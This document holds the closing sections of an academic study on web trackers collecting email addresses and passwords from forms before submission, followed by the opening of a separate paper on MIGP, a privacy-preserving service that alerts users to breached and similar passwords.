ing, the GDPR typically requires the website visitor’s prior
consent. For breaching any of these three rules, controllers
can be fined up to 20,000,000 Euro or up to 4% of their total
worldwide annual turnover (Article 83(5)).

6 Security Disclosures, GDPR Requests, and
Leak Notifications

Our methods allow us to detect email and password leaks
from clients to trackers, but what happens after the leaks
reach third party’s servers is unknown to us. In order to better
understand the server-side processing of collected emails, and
to disclose cases of password collection, we have reached out
to more than a hundred first and third parties. We used the real
identity and university email account of one of the authors
when reporting the issues or sending the GDPR requests.
Moreover, we made it clear that our inquiries are sent within
the context of an academic research.

Password collection disclosures Once again we note that
we believe all password leaks to third parties mentioned below
are incidental. We reached out to all third parties listed in Ta-
ble 2. Yandex, the most prominent tracker that collects users’
passwords, has quickly responded to our disclosure and rolled
out a fix to prevent password collection. We have also notified
more than 50 websites where passwords were collected. Since
the majority of the websites embedding Yandex were in Rus-
sian, we have enclosed a Russian translation of our message
in the notification email, along with our message in English.
Mixpanel released an update only two days after we disclosed
the issue. With this change, even the users with outdated
SDKs were protected from collecting passwords involuntarily.
LogRocket, who collected passwords on publicize.co’s login
page, have never replied to our repeated contact attempts5;
and the password leak remained on Publicize’s website for
more than ten weeks, before it was fixed.

GDPR requests on email exfiltration We reached out to
58 first and 28 third parties with GDPR requests. We avoided
sending blanket data access requests to minimize the overhead
for the entities who were obliged to respond to our GDPR
requests. Instead, we asked specific questions about how the
collected emails are processed, retained and shared. In ad-
dition, we notified the top 33 websites6 where we detected
email exfiltration in the US crawl. We sent a friendly notifica-
tion to these websites about the email exfiltration, rather than
a formal GDPR request. We did not get any response from
these 33 websites.

When selecting the first parties to send GDPR requests to,
we included the most popular websites from the EU crawl,
for which we could reproduce the email leaks. We asked the
first parties if they were aware of the email collection on their
websites, how they used the collected email addresses, and
how long they retained them.

5We have also enrolled the help of a contact at the Electronic Frontier
Foundation, who tried calling LogRocket’s phone number, emailed their
privacy contact address, and their cofounder—all to no avail. Our attempts
to disclose the issue via LogRocket’s chatbot have also failed. We have also
contacted Publicize, and have not heard back.

633 out of the top 50 websites for which we could reproduce the exfiltra-
tion.
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Responses from first parties: Almost half of the first par-
ties (30/58) responded to our requests.

• fivethirtyeight.com (via Walt Disney’s DPO), trello.com
(Atlassian), lever.co, branch.io and cision.com were
among the websites that said they had not been aware
of the email collection prior to form submission on their
websites and removed the behavior.

• Marriott said that the information collected by Glassbox
is used for purposes including customer care, technical
support, and fraud prevention.

• Tapad, a cross-device tracking company on whose web-
site we found an email leak, said that they are not offering
their services to UK & EEA users since August, 2021;
and they have deleted all data that they held from these
regions.

• stellamccartney.com explained that the emails on their
websites were collected before the submission due to
a technical issue, which was fixed upon our disclosure.
According to their response, the SaleCycle script that
collected email addresses had not been visible to their
cookie management tool from OneTrust.

Responses from third parties: Roughly half (15/28) of
the third parties responded. Eight third parties, including
Adobe, FullStory and Yandex said they are data processors,
and asked us to send our GDPR request to the corresponding
first parties.

• Taboola said in certain cases they collect users’ email
hashes before form submission for ad and content per-
sonalization; they keep email hashes for at most 13
months; and they do not share them with other third
parties. Taboola also said they only collect email hashes
after getting user consent; however, our findings and sub-
sequent manual verification showed that was not always
the case.

• Zoominfo said their “FormComplete” product appends
contact details of users to forms, when the user exists in
ZoomInfo’s sales and marketing database. They said the
ability to capture form data prior to submission can be
enabled or disabled by their clients.

• ActiveProspect said their TrustedForm product is used
to certify consumer’s consent to be contacted for com-
pliance with regulations such as the Telephone Con-
sumer Protection Act in the US. They said data captured
from abandoned forms are marked for deletion within
72 hours, is not shared with anyone including the site
owner.

We picked the above responses to reflect the diversity of
reasons for which email addresses are collected prior to form

submission. While some collection reportedly occurs due to
technical glitches, or (surprisingly) for compliance purposes;
other responses point to collection for marketing, analytics
and identity matching purposes. In certain cases, companies
suggested that the email data are not shared with any third
parties, while others have not made the same promise. The
limited number of responses we received, along with potential
response bias, prevent us from making generalizations. Re-
gardless, we note the benefit of reaching out to the respective
parties, despite the substantial logistics overhead. Due to lim-
ited space, we could only include a selection of the responses.
We plan to publish an overview of the responses as part of
our dataset.

7 Countermeasures

In recent years, all major browsers except Google Chrome im-
plemented different forms of protection against online track-
ing. In 2017, Apple introduced Safari Intelligent Tracking
Prevention (ITP), which combines machine learning with
a rule-based system that prevents cross-site tracking [87].
Since March 2020, Safari blocks all third-party cookies [88].
Mozilla introduced tracking protection in 2018 by stripping
cookies from requests to tracker domains, based on a tracker
list compiled by Disconnect [51, 74].

In order to find out whether major browsers with anti-
tracking features (namely, Safari and Firefox) block the exfil-
trations we uncovered, we manually analyzed ten websites,
each containing a distinct tracker that we found to exfiltrate
email addresses. We manually filled the email fields on these
websites and checked whether the exfiltration occurs by in-
specting the HTTP request payloads in the devtools interface.
We found that neither Safari nor Firefox blocked email ex-
filtrations to tracking endpoints in our small sample. This
result may be expected since both browsers try to strike a bal-
ance between minimizing breakage and curtailing cross-site
tracking. To this end, they allow requests to tracker domains,
but they strip cookies, partition network state [55], or block
access to storage that may facilitate cross-site tracking.

Browser vendors may take further steps to protect against
scripts that harvest email addresses for tracking purposes.
Browsers may block requests to these trackers, prevent their
scripts from accessing form fields, or provide them with fake
data—e.g., an empty string similar to how a zero-filled IDFA
is returned on iOS devices unless the user has given their
consent [2]. Similar solutions are already used by different
vendors: Firefox already blocks requests to third parties that
use browser fingerprinting for advertisement, analytics and so-
cial network tracking [5]. DuckDuckGo’s browser extension
uses JavaScript stack traces to block certain tracker cook-
ies [52]. We believe the scale of unconsented data collection
uncovered in our study justifies a similar countermeasure for
scripts that harvest email addresses.

Browser extensions such as uBlock Origin [16], and
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browsers such as Brave [24] block requests to tracker do-
mains, which better protects against email exfiltration than
countermeasures built-in to Firefox and Safari. On mobile,
users may opt for browsers that support extensions (e.g., Fire-
fox, Safari), or use a privacy-focused mobile browser that
blocks trackers such as Brave [24] and DuckDuckGo [39].

Recently, Mozilla [20], Apple [18], and DuckDuckGo [19]
started to offer private email relay services that give users
the ability to generate and use pseudonymous (alias) email
addresses. These privacy-focused services automatically for-
ward emails received at the alias addresses, and allow users
to keep their real email address hidden from untrusted online
services.

In their study on data exfiltration from contact forms, Starov
et al. developed FormLock, an extension that detects and
highlights forms that may leak PII. Further, to prevent PII
leakage, FormLock temporarily blocks third-party requests
and prevents stashing of PII into various storage mechanisms
such as cookies, localStorage and indexedDB [84].

LEAKINSPECTOR Since none of the available counter-
measures allow inspection of sniff and exfiltration attempts,
we developed LEAKINSPECTOR, a proof-of-concept browser
add-on that warns users against sniff attempts and blocks
requests containing personal information.

While LEAKINSPECTOR has similarities to FormLock, it
also supports detecting form sniff attempts and more pre-
cisely detects and prevents leak attempts to trackers. Further,
LEAKINSPECTOR does not require user intervention, and
logs technical details of the detected sniff and leak attempts
to console to enable technical audits. The logged informa-
tion includes the value and XPath of the sniffed element, the
origin of the sniffer script, and details of the leaky request
such as URL and POST data. LEAKINSPECTOR has two main
features that users may enable:

Sniffer Detector When this feature is enabled, LEAKIN-
SPECTOR detects and optionally prevents sniffing of input
fields where users may enter personal information such as
name, email and credit card details. We use code extracted
from Firefox’s autofill field detection heuristics [17] to detect
such input fields.

We overwrite the getter method of the HTMLInputElement
prototype to intercept input field sniff attempts. We add an
event listener for input event to all auto-fill fields to keep
track of their current values. These input field values are then
used to detect leaks in outgoing requests. When a script at-
tempts to read a monitored field’s value, LEAKINSPECTOR
processes the JavaScript stack trace and extract the script ad-
dresses. It then highlights the sniffed input field if there is a
third-party script in the stack trace categorized as a tracker by
DuckDuckGo’s blocklist [9]–which we also use in Section
3.8. When determining third party scripts, LEAKINSPECTOR
takes into account domain-entity relationships [12].

Leak Detector LEAKINSPECTOR intercepts HTTP re-
quests and runs the leak detector algorithm presented in Sec-

tion 3.7. It detects encoded, hashed, compressed or cleartext
leaks from the monitored fields. While LEAKINSPECTOR
currently only uses DuckDuckGo’s blocklist [9], it is possible
to extend it to use other blocklists.

LEAKINSPECTOR also features a user interface where re-
cent sniff and leak attempts are listed, along with the tracker
domain, company and tracker category. The user interface
module is based on DuckDuckGo’s Privacy Essentials add-
on [8]. We believe LEAKINSPECTOR may help publishers
and end-users to inspect third parties that harvest personal
information from online forms without their knowledge and
consent.

8 Limitations

Through an iterative design process, pilot crawls and extensive
sanity checking, we built our crawler and analysis processes to
be robust and scalable. Where possible we set the parameters
of the crawler such as timeout duration, based on data from
pilot crawls. However, certain limitations apply to our data
collection and analysis methods.

Leak detection While we search for an extensive set of
encodings and hashes, and we substantially improved the leak
detector module we inherited from the prior work, our leak de-
tection method may still miss leaks that are custom encoded,
encrypted, or compressed. Future work may improve leak de-
tection by applying methods such as multi-stage filtering [61],
and JavaScript information flow tracking [58].

Shadow DOM and crawl depth During our pilot crawls
we found that we cannot detect email and password fields if
they are in the Shadow DOM [28] of other elements. Since we
only found two such cases in a pilot crawl of 1K websites, we
believe this is an acceptable limitation. Further, our crawler
is limited to crawls of one-click depth for simplicity. Input
fields that can only be discovered through multiple subsequent
clicks may be missed by our crawler. These limitations make
our results likely lower bounds.

Blocklists We use a combination of blocklists from dif-
ferent providers to flag domains as trackers. These lists vary
by quality and compilation method (e.g., crowdsourced vs.
maintained by a company such as Disconnect). Further, we
flag domains as trackers if they are present in only one of
these lists. As such, our results may have both false positives
and false negatives due to imperfections in those blocklists.

Domain aliases Although we only consider leaks to third-
party tracker domains, we also analyzed a sample of exfil-
tration to first-party domains. The use cases we identified
included email address verification and self-hosted analyt-
ics services. Future work could investigate exfiltrations to
CNAME-based trackers that appear as first parties [50].

Bypassing cookie consent banners During the manual
labeling process, we encountered modal GDPR consent di-
alogs that disallow proceeding without giving/rejecting to
give consent. A real user would have to accept or reject data
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processing to interact with the page; but our web crawler
could have bypassed the consent dialog, depending on how it
is implemented. On a random sample of 1,000 websites, we
detected 168 modal consent dialogs.

Anti-bot measures Finally, our crawler might have been
served CAPTCHA pages, or treated differently due to crawl-
ing from cloud IP addresses. During a 1K website pilot crawl,
we identified only three CloudFlare CAPTCHA pages that
blocked our crawler.

9 Ethics Considerations

Data collection: When crawling, we took adequate measures
to avoid overloading the websites. For instance, we avoided
making concurrent visits to the same website.

Disclosures: We reported password leaks to both trackers
and to the websites where we detected a password leak. In
our emails, we provided technical details and reproduction
instructions so that it is easier for the parties to reproduce and
address the issue we reported. To the third parties, we sent
the list of websites where they caused a password leak. To
avoid any misunderstanding, we made it clear to all parties
that we did not collect any visitors’ email or password during
our study. We did not send GDPR requests to trackers that
incidentally collected passwords.

10 Conclusion

We presented a large-scale study of email and password ex-
filtration by online trackers before form submission. In order
to address the challenges of finding and filling input fields,
we integrated into our crawler a pre-trained ML classifier that
detects email fields. Our results—likely lower bounds—show
that on thousands of sites email addresses are collected from
login, registration and newsletter subscription forms; and sent
to trackers before users submit any form or give their con-
sent. Further, we found tens of sites where passwords are
incidentally collected by third parties providing session re-
play services. Comparing results from the EU and the US
vantage points, we found that 60% more websites leaked
users’ emails to trackers, when visited from the US. Mea-
suring the effect of consent choices on the exfiltration, we
found their effect to be minimal. Based on our findings, users
should assume that the personal information they enter into
web forms may be collected by trackers—even if the form
is never submitted. Considering its scale, intrusiveness and
unintended side-effects, the privacy problem we investigate
deserves more attention from browser vendors, privacy tool
developers, and data protection agencies.

Code and Data

The source code and the dataset from our study are publicly
available at https://github.com/leaky-forms.
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Appendix A Supported Hash and Encoding
Methods for Leak Detection

Hashes and Checksums: MD2, MD4, MD5, SHA1,
SHA256, SHA224, SHA384, SHA512, SHA3 (224,
256, 384, 512-bit), MurmurHash3 (32, 64, 128-bit),
RIPEMD-160, Whirlpool, Salted SHA1 (salt=QX4QkKEU)
Encodings: Base16, Base32, Base58, Base64, Urlen-
code, Entity, Deflate, Zlib, Gzip, LZstring, Custom Map (
kibp8A4EWRMKHa7gvyz1dOPt6UI5xYD3nqhVwZBXfCcFe...
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghi...)

Appendix B Labeling email-collecting 3rd-
party domains that are not blocked by block-
lists

For each domain:
1. Is the 3rd-party domain is owned by the same entity as
the first party?

a. Yes: not tracking-related (first-party exception)
2. Did we receive any email from websites where this
domain collected email addresses?

a. Yes: tracking-related
3. Identify the company website—use the initiator script
(URL, source code, copyright preamble, comments) if
necessary.

a. Is the 3rd party used for email validation (check
on an example first-party site taking into account
UI messages (e.g. “Invalid email”) and HTTP re-
sponse content (e.g., “bogus email” when we enter
test@gmail.com)?

i. Yes: not tracking-related (validation exception)
b. Identify the business category using BuiltWith and
the company website (esp. check for solutions, prod-
ucts, and other marketing materials). Does the business
category include one of marketing, advertising, analyt-
ics?

i. Yes: tracking-related
ii. No: not tracking-related
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Abstract
Credential stuffing attacks use stolen passwords to log into

victim accounts. To defend against these attacks, recently
deployed compromised credential checking (C3) services pro-
vide APIs that help users and companies check whether a
username, password pair is exposed. These services however
only check if the exact password is leaked, and therefore
do not mitigate credential tweaking attacks — attempts to
compromise a user account with variants of a user’s leaked
passwords. Recent work has shown credential tweaking at-
tacks can compromise accounts quite effectively even when
the credential stuffing countermeasures are in place.

We initiate work on C3 services that protect users from
credential tweaking attacks. The core underlying challenge is
how to identify passwords that are similar to their leaked pass-
words while preserving honest clients’ privacy and also pre-
venting malicious clients from extracting breach data from the
service. We formalize the problem and explore ways to mea-
sure password similarity that balance efficacy, performance,
and security. Based on this study, we design “Might I Get
Pwned” (MIGP), a new kind of breach alerting service. Our
simulations show that MIGP reduces the efficacy of state-
of-the-art 1000-guess credential tweaking attacks by 94%.
MIGP preserves user privacy and limits potential exposure
of sensitive breach entries. We show that the protocol is fast,
with response time close to existing C3 services. We worked
with Cloudflare to deploy MIGP in practice.

1 Introduction
Users often pick the same or similar passwords across multi-
ple web services [22,42,54]. Attackers therefore compromise
user accounts using passwords leaked from other websites.
This is known as a credential stuffing attack [25]. In response,
practitioners have set up third-party services such as Have
I Been Pwned (HIBP) [37, 48], Google Password Checkup
(GPC) [44, 47], and Microsoft Password Monitor [33] that
provide APIs to check if a user’s password has been exposed
in known breaches. Such breach-alerting services, also called
compromised credential checking (C3) services [37], help

prevent credential stuffing attacks by alerting users to change
their passwords.

Existing C3 services, however, can leave users vulnerable
to credential tweaking attacks [22, 41, 51] in which attackers
guess variants (tweaks) of a user’s leaked password(s). Pal et
al. [41] estimate that such a credential tweaking attacker can
compromise 16% of user accounts that appear in a breach in
less than a thousand guesses, despite the use of a C3 service.

We therefore initiate exploration of C3 services that help
warn users about passwords similar to the ones that have
appeared in a breach. We design “Might I Get Pwned” (MIGP,
the name is a tribute to the first-ever C3 service, HIBP). In
MIGP, a server holds a breach dataset D containing a set of
username, password pairs (ui, w̃i). A client can query MIGP
with a username, password pair (u,w), and learns if there
exists (u, w̃) ∈ D such that w = w̃ or w is similar to w̃. To
realize such a service, we must (1) determine an effective way
of measuring password similarity, that (2) works well with a
privacy-preserving cryptographic protocol, and that (3) resists
malicious clients that try to extract entries from D.

Ideally, we want our similarity measure to help warn users
if their password w is vulnerable to online credential tweaking
attacks. These attacks [22, 41, 51] take as input a breached
password w̃ and generate an ordered list of guesses. There-
fore, a good starting point for defining similarity is to call w
similar to w̃ should w appear early in the guess list generated
by a state-of-the-art credential tweaking attack. Such a gen-
erative approach also works well with simple extensions to
existing cryptographic private membership test (PMT)-based
protocol [37,47]. A PMT allows a client to learn if (u, w̃) ∈D
without revealing it to the server. To extend, we can have
the server insert n variants of each breached password into
D and we can allow clients to generate m variants and repeat
the PMT for each of them. The PMT can be designed to re-
veal, upon a match, whether a password matches the original
password or a variant.

To concretize this approach requires understanding how
to efficiently generate effective variants. Existing credential
tweaking attack algorithms are computationally expensive to
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run [41, 51], and it is unclear, apriori, what are good values
for m and n. We use empiricism to explore different tech-
niques for enumerating variants and show via simulations
how these techniques help protect against credential tweaking
attacks. We start with the deep learning [41] and mangling
rules techniques [22] pioneered in prior works on credential
tweaking. We also suggest a new, simple-to-implement gener-
ative approach that uses an empirically-derived weighted edit
distance to rank mangling rules. We show via simulation that
our new approach with m = 10 and n = 10 reduces credential
tweaking attack success rate by 94% compared to using only
exact-checking, where the attacker uses a thousand guesses
and adapts to the breach alerting service being used.

Another challenge for MIGP services is breach extraction
attacks. C3 services could contain breach data that is not
publicly available. Most C3 services provide public APIs,
which malicious clients can abuse to learn a user’s breached
passwords by querying the service with a sequence of likely
passwords. MIGP services may make such extraction attacks
faster, because, intuitively, finding one of many variants of
the target password would also reduce the search space.

We formalize this new breach extraction attack setting and
show that optimal strategies for an attacker are NP-hard to
compute. Nevertheless, attackers can use heuristic approxi-
mations. We evaluate such heuristics empirically for various
values of n and m. Our simulation shows that an attacker can
compromise 2.8× more user accounts in 1,000 guesses for
server-only variant generation (n = 100) than the best attack
against a traditional exact-checking service. Allowing a hy-
brid of client-side (m > 0) and server-side variant generation
leads to even more effective attacks.

We therefore propose a blocklisting strategy to reduce
breach extraction success rates: remove (blocklist) most pop-
ular passwords and their variants. Users should be warned
to avoid such easy-to-guess passwords whether or not they
appear in a breach. Blocklisting the most common 104 pass-
words can reduce the success rate of the best-known breach
extraction attack against a MIGP service to below the success
rate possible against currently deployed C3 services.

We implement a prototype of MIGP with 1.14 billion
breached username, password pairs, and show that online
computation work for the server is small, client-side latency
is comparable to existing C3 services (500 ms), and certain
parameter regimes allow bandwidth required to be less than
1.43 MB. We further empirically explore different trade-offs
in performance and security for client-side, server-side vari-
ant and hybrid generations for MIGP to help practitioners
decide which approach to use. All this helped educate our de-
ployment of MIGP in collaboration with Cloudflare, a major
CDN and security service provider [9]. It is now in production
use in their web application firewall product to notify login
servers about potential attacks.

Contributions. The main contributions of this paper are:

• We initiate exploration of similarity-aware C3 services
and present the design of MIGP, which allows checking
if a password is vulnerable to credential tweaking attack
without revealing it to the MIGP server.

• We empirically evaluate the effectiveness of different simi-
larity measures to mitigate credential tweaking attacks.

• We analytically and empirically analyze the threat of
breach extraction attacks, in which malicious clients at-
tempt to extract credentials from a C3 service. We discuss
multiple approaches to mitigate this threat, including a new
popular-password blocklisting mechanism.

• We report on an initial prototype of MIGP and show its
practicality by deploying at Cloudflare.

2 Background and Prior Work

Credential stuffing attacks and defenses. Billions of pass-
words are available online as a result of compromises [25,48].
As users often choose the same or similar password for dif-
ferent web services [22, 42, 51], attackers use these leaked
data for credential stuffing attacks. As a prevention mea-
sure, C3 services have been adopted in client browsers [44],
in password managers [2], and by login server backends to
proactively check user credentials. Existing C3 services in-
clude Have I Been Pwned (HIBP) [48], Google Password
Checkup [44], Enzoic [4], and the recently introduced Mi-
crosoft Password Monitor [33]. HIBP [48] has publicly doc-
umented APIs to check if a username or password is in a
breach. Several password managers such as 1Password and
LastPass and browsers such as Firefox are using HIBP to warn
users about their leaked passwords. This may result in false
positives since common passwords will always be flagged.1

Google Password Checkup (GPC) [47], released as a
Chrome-extension in 2019 [44] and later integrated into
Chrome, checks if a username, password pair is present in
the leak, leading to fewer false positives compared to HIBP.
The Chrome password manager uses GPC to check all of a
user’s website credentials to determine if they are in a known
breach, but does not flag passwords that are similar to ones in
breaches. Li et al. [37] formalized the security requirements
of C3 systems in an honest-but-curious server setting and
proposed a protocol that we use to build MIGP in this paper.

The state-of-the-art C3 protocol proposed in [37, 47] now
deployed by GPC handles a large scale of breach datasets us-
ing bucketization. To check a username, password pair (u,w),
the client sends a bucket identifier j which is the first 16 bits
of the cryptographic hash of u (smaller hash prefix helps pre-
serve the privacy of the username). In parallel, the client and
server perform a private membership test (PMT) protocol to
securely determine if (u,w) is in the bucket containing the set

1We found flagging based on only passwords will raise 29% false alarms,
and based on only usernames will raise 36% false alarms to users whose
passwords might not be vulnerable to a credential tweaking attack.
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of all (ui, w̃i) with the same username hash prefix. The PMT
protocol is built using the efficient oblivious PRF (OPRF)
protocol, 2HashDH [32], though a recently proposed partially
oblivious PRF 3HashSDHI may be used to slightly improve
security [49]. A more recent service, Microsoft Password
Monitor [33], uses homomorphic encryption (HE) to compute
the PMT, but reveals the username completely to the server.

To prevent users from reusing their password across web
services, Wang and Reiter [52,53] proposed protocols to check
if a user is using the same password in multiple participat-
ing web services. The efficacy of this protocol relies on the
coordination of the web services, making it harder to deploy.
Moreover, as we show in Section 6, the PMT protocols used
in their work would not scale to billions of username, pass-
word pairs without sacrificing the privacy of the username.
Wang and Reiter also mention that their protocol can be ex-
tended to check for similar passwords across multiple web
services [53], but did not provide details on how to do so.

Credential tweaking attacks and defenses. Currently de-
ployed C3 services cannot warn users about a password unless
the exact password is present in the breach. For example, a
minor variation, such as adding “7” to the end of the com-
promised password “yhTgi456”, won’t be detected by the C3
service. Users often pick similar passwords while resetting
their passwords on a web service [54] or when picking pass-
words for different web services [22]. These passwords are
vulnerable to credential tweaking attacks [22, 41, 51], where
the attacker tries different variations of the leaked password.

Wang et al. [51] and Das et al. [22] used human-curated
rules to generate guesses for a credential tweaking attack. Sub-
sequently, Pal et al. [41] took a data-driven, machine-learning
approach to build similarity models for passwords from the
same user. They trained a sequence-to-sequence [46] style
neural network model (pass2path) that outputs similar pass-
words given an input password. This is now the best-known
attack, with simulation showing that a pass2path-based attack
can compromise 16% of accounts of users that appeared in
a breach using at most 1,000 guesses, despite the use of a
C3 service as a credential stuffing countermeasure. Pal et
al. also showed in a case study that over a thousand accounts
at Cornell University were at the time vulnerable to credential
tweaking attacks, showcasing their practical risk.

Pal et al. proposed a potential defense: a personalized pass-
word strength meter (PPSM) which considers the strength of
a selected password based on its similarity to the user’s other
passwords. But they do not offer a way to utilize PPSMs in the
context of a privacy-preserving C3 service, and left building
similarity-checking C3 services as an open question.

3 Overview of MIGP
In this paper, we build a similarity-aware C3 service, called
Might I Get Pwned (MIGP). MIGP generalizes existing C3
services to add new features that can warn users about pass-

words that may be vulnerable to credential tweaking attacks.

Service architecture and functionality. The MIGP server
will have a breach dataset D, containing a set of |D| username,
password pairs {(u1,w1), . . . ,(u|D|,w|D|)} where each ui ∈U
is a username and each wi ∈W is a password. The sets U
and W consist of all possible user-chosen usernames and
passwords. A MIGP client can query the MIGP server with
a username, password pair (u,w) to learn if there exists a
(u, w̃) ∈ D such that w = w̃ or w is similar to w̃. The MIGP
server, therefore, returns “match” if w = w̃, returns “similar”
if w is similar to w̃, and returns “none” otherwise.

A MIGP client can be, for example, a user’s browser, their
password manager, an authentication service, or, as in our
Cloudflare deployment, a web application firewall that wants
to use breach alerting to help secure user accounts. We will
use as a running example the user’s browser as client, and
discuss other deployment settings in Section 7.

Like existing C3 services, MIGP should scale to millions of
requests a day with billions of username, password pairs in its
database. We propose various techniques to make MIGP fast
and practical, like offline processing the breach data to speed
up online queries and rate-limiting clients using verifiable
delay functions rather than slow hashing (Appendix F).

Threat model. In our threat model, we consider two distinct
threats: (1) an honest-but-curious server trying to learn about
a user’s queried password, and (2) a malicious client querying
the MIGP server to retrieve other users’ breached passwords.

We assume the MIGP server is honest-but-curious: it
doesn’t deviate from the protocol but observes the protocol in
an attempt to glean information from the user queries. Tech-
nically, we note that our MIGP protocol is in fact one-sided
simulatable [29], a model which allows the server to behave
maliciously. But for practical purposes, a malicious server
can misguide a user by returning a wrong bucket of pass-
words and falsely reporting the user’s vulnerable password
as safe (i.e., an input-switching attack). Regular audits and
other monitoring techniques may be useful mitigations. We
are not aware of any other active attacks and will focus on the
honest-but-curious server setting hereafter.

Ideally, we would like the MIGP server (or any C3 server)
to learn nothing about the queried usernames or passwords.
However, building a practical solution that achieves this re-
quirement is hard given the huge scale of D with billions of
credentials. The state-of-the-art protocols in existing C3 ser-
vices reveal some bits of information about the username to
allow partitioning D into smaller buckets on which a private
membership test (PMT) protocol can be efficiently executed.
Looking ahead, MIGP will extend this approach to perform a
private similarity test (PST) over the bucket.

Clients of MIGP can be malicious. In particular, they might
mount a guessing attack in an attempt to extract username,
password pairs from D. We call this a breach extraction attack.
These are a concern when the breach database D contains data
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from leaks that are not yet publicly available. In turn, learning
a user’s (leaked) password can help the attacker compromise
that user’s accounts on other web services through credential
stuffing and tweaking attacks. Prior work did not empirically
analyze this threat for exact-check C3 services, but they did
include anti-abuse countermeasures such as requiring com-
putationally intensive slow hashing to complete a query [47].
This threat is particularly concerning for MIGP as clever at-
tacks may exploit similarity.

Unsatisfactory approaches. The core of MIGP is a pass-
word similarity metric. While there are a number of ways to
compute password similarity, few can preserve the privacy
of the queried password. For example, Pal et al. [41] design
password embedding models that map passwords to a vec-
tor space; distance in the space captures similarity. Using
password embeddings directly (e.g., the client sending a pass-
word embedding to the server) is unsafe as it might reveal the
underlying passwords.

One can instead build a MIGP service by combining a pass-
word embedding with a secure two-party computation (2PC)
protocol that privately computes the dot product and threshold
comparison. However, even state-of-the-art 2PC protocols for
computing dot products [34] are not yet efficient enough to
be used in our setting (which will require computing thou-
sands of such dot products per query). We estimate, based
on a prototype implementation using a 2PC library named
Crypten [34], that a single client query would take 16 seconds
(without network latency) to complete private dot product
and comparison (Appendix A). Other approaches that rely
on existing secure two-party computation protocols, such as
computing a weighted edit distance between passwords, will
similarly fall short of our performance requirements.

Generative models for password similarity. We instead
use a generative approach to measure similarity, which will
enable more efficient privacy-preserving protocols. We con-
sider generative approaches that either start with a breached
password or with a client’s password. For the former, let
τn : W 7→W n be a function that generates n passwords that are
likely to be chosen by a user, given one of their other breached
passwords. Thus, a client password w and breached pass-
word w̃ are similar if w ∈ τn(w̃). Here, we assumed w /∈ τn(w)
for all w ∈W . For the second approach, an inverse generative
model, say τ̃m, generates m variants given a client’s password;
we declare a password similar to a variant if w̃ ∈ τ̃m(w). Be-
cause similarity is not necessarily symmetric, it can be that
τn 6= τ̃m. Looking ahead, we can use the model τn to generate
likely variants at the server given a breach dataset, while we
can use τ̃m to generate variants at the client. We will also
explore a hybrid approach that combines the two, in which
case we consider a client’s password w similar to a variant
w̃, if

(
{w}∪ τ̃m(w)

)
∩
(
{w̃}∪ τn(w̃)

)
6=∅ and w̃ 6= w. A big

question we will tackle is how to best instantiate τn and τ̃m.

…

MIGP Client (u,w) MIGP Server (z1,…, zl)

Send jth bucket 

Apply oblivious PRF

u1:w1

u2:w2,w3

u3:w4

…

w1: w11,w12, …

w2: w21,w22, …

w3: w31,w32, …

…

…

Breach data        Generate variants Apply PRF and Bucketize

u1:w1 u1:w11

u1:w12 u3:w42

u3:w41 u3:w4

u2:w2 u2:w21

u2:w22 u2:w3

u2:w31 u2:w32

j, …u:w u:w1
′ u:w𝑚

′

z1 z2
zl

u:w1
′ u:w𝑚

′
u:w …

Is in Is in

Yes

No No

Yes

match similar

none
Blinded value

PRF for breached 

passwords

PRF for variants

Pre-processing at MIGP Server

De-blinded values

w ∶ w1
′ ,w2

′ … ,w𝑚
′

Bucket ID
Blinded values

u:w u:w1
′ u:w𝑚

′u:w …

any zj

Generate
variants

u:w u:w1
′ u:w𝑚

′

Figure 1: MIGP Protocol for checking if a queried password w
is similar to a password present in breach data. Cryptographic
details of the protocol are given in Fig. 2.

3.1 MIGP protocol
MIGP builds off first-generation C3 designs, specifically, the
identity-based bucketization (IDB) protocols due to Li et
al. [37] and Thomas et al. [47]. At a high level, the IDB
protocol splits the leaked credential database into several
buckets based on truncated hashes of usernames. The client
reveals the bucket identifier to the service, and then performs
an OPRF-based private membership test (PMT) protocol over
that bucket to check for equality.

In Fig. 1, we provide an overview on how to extend IDB to
allow the client to check for similar passwords. We augment
the server’s breach data with variants of each breached pass-
word using τn. The client queries the server using the IDB
protocol with the user password and checks if it succeeds. The
client can also generate variants, via τ̃m. There are nuanced
security and computation trade-offs for this approach, which
we will discuss at the end of this section. For now, we assume
the client and the server both generate m and n variants using
τ̃m and τn functions. Setting m = 0 and n = 0, reduces MIGP
functionality to existing exact-checking C3 services, such as
IDB. The cryptographic details of MIGP protocol, which fits
our security requirements, is given in Fig. 2.

Pre-processing. The underlying IDB protocol uses a special-
ized oblivious PRF construction. Briefly, the PRF takes as
input a username u, a password w, and a secret key κ and is
defined as Fκ(u‖w) = H2(u‖w,H1(u‖w)κ). This is the same
as the 2HashDH construction due to Jarecki et al. [32]. Here
H1 maps onto an elliptic curve group G (with group operation
written multiplicatively) where the decisional Diffie-Hellman
(DDH) problem is hard; and H2 : {0,1}∗×G 7→ {0,1}` maps
a binary string and a group element to an `-bit string. At least
one of the two hash functions used should be computationally
expensive (for the client) to ensure rate limiting and abuse
prevention on the client side. We explore trade-offs on how
to choose the hash functions in Section 7 and Appendix F.
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Pre-processing at MIGP server:
Server’s secret key: κ; D= {(u1, w̃1), . . . ,(u|D|, w̃|D|)}
for (u, w̃) ∈D do:

j←H(l)(u); z j ← z j ∪{Fκ(u‖w̃)}
z j ← z j ∪

{
Fκ(u‖w′)⊕1

∣∣w′ ∈ τn(w̃)
}

Online phase:
Client MIGP server
Input: (u,w) Input: κ,z
j←H(l)(u)
r0←$Zq; x0←H1(u‖w)r0

(w′1, . . . ,w
′
m)← τ̃m(w)

for i ∈ [1,m] do :
ri←$Zq; xi←H1(u‖w′i)ri

j,x
−−−−−−→ for i ∈ [1,m] do :

yi← xκ
i

z̃0←H2(u‖w,y
1
r0
0 )

y,z j←−−−−−−
z̃1←{z̃0⊕1}
for i ∈ [1,m] do :

h←H2(u‖w′i,y
1
ri
i )

z̃1← z̃1 ∪{h,h⊕1}
if z̃0 ∈ z j return match
else if z̃1 ∩ z j 6=∅ return similar
else return none

Figure 2: Protocol for checking if a password similar to the
user’s password (w) is present in the leaked data (D).

The server chooses κ and applies Fκ to all the username,
password pairs in the breach. These are stored separate “buck-
ets”, identified by the l-bit prefix of a cryptographic hash of
the username, denoted H(l)(u). As we want the client to find
out if the queried password is similar to one stored by the
server, we use two PRF functions: The server stores Fκ(u‖w)
(shown in thick blue border boxes in Fig. 1) corresponding
to the leaked credential (u,w), and F ′κ(u‖w′) = Fκ(u‖w′)⊕1
for w′ ∈ τn(w) corresponding to the password variants, which
